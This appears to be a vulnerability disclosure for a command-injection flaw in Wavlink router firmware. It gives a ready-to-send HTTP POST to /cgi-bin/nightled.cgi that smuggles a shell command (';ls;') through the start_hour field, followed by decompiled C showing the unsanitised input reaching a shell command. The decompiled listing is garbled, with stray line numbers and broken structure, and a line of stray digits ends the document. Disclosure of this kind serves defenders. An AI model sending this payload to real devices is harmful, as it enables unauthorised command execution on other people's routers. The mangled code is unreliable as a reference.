

## Description

There is a command execution vulnerability in wavlink, through which an attacker can gain server privileges

## Payload used

```
POST /cgi-bin/nightled.cgi HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

page=night_led&start_hour=;ls;
```

## **Proof of Concept**

```
if (!strcmp(v3, "GET"))
0
1
2
     v11 = getenv("QUERY_STRING");
     if ( *(_BYTE *)web_get("page", v11, 0) )
:3
4
        setNightLed(v11);
5
     goto LABEL_5;
6
7
   if ( strcmp(v3, "POST") )
8
   {
9 LABEL_5:
0
     free(v5);
1
     return 0;
2
3
   v7 = getenv("CONTENT_LENGTH");
   if (!v7)
    v7 = "";
   v8 = strtol(v7, 0, 10) + 1;
   if ( v8 > 0 \&\& v8 >= 2 )
8
9
      v5 = (char *)malloc(v8);
.0
     if (!v5)
       v5 = "";
.1
     memset(v5, 0, v8);
.2
.3
      fgets(v5, v8, stdin);
      v9 = fopen("/dev/console", "w+");
4
.5
     if ( v9 )
.6
     {
.7
        fprintf(v9, "%s:%s:%d:%s\n\n", "nightled.c", "main", 95, v5);
        fclose(v9);
.8
.9
     v10 = (const char *)web_get("page", v5, 0);
if (!strcmp(v10, "night_led"))
0
1
2
3
     goto LABEL 5;
4
5
   return 0;
2
   puts("HTTP/1.1 200 OK");
   puts("Content-type: text/html");
   puts("Pragma: no-cache");
   puts("Cache-Control: no-cache");
   putchar(10);
    puts("<html><head>");
7
   sprintf(v26, "echo -n %s %s %s %s > /tmp/scheduleSet &", v10, v12, v14, v15);
8
9
    snprintf(v25, 0x80u, "%s %s", v12, v10);
0
    nvram_bufset(0, "nightStart", v25);
v21 = fopen("/dev/console", "w+");
1
3
    if ( v21 )
4
5
      fprintf(v21, "%s:%s:%d:nightStart = %s \n\n", "nightled.c", "setNightLed", 38, v25);
6
      fclose(v21);
7
   printf("nightStart = %s;\n", v25);
    snprintf(v25, 0x80u, "%s %s", v10, v12);
   nvram_bufset(0, "nightStart1", v25);
   snprintf(v25, 0x80u, "%s %s", v15, v14);
1
   nvram_bufset(0, "nightEnd", v25);
2
   v22 = fopen("/dev/console", "w+");
```

000000000 127 117 1 00 14000

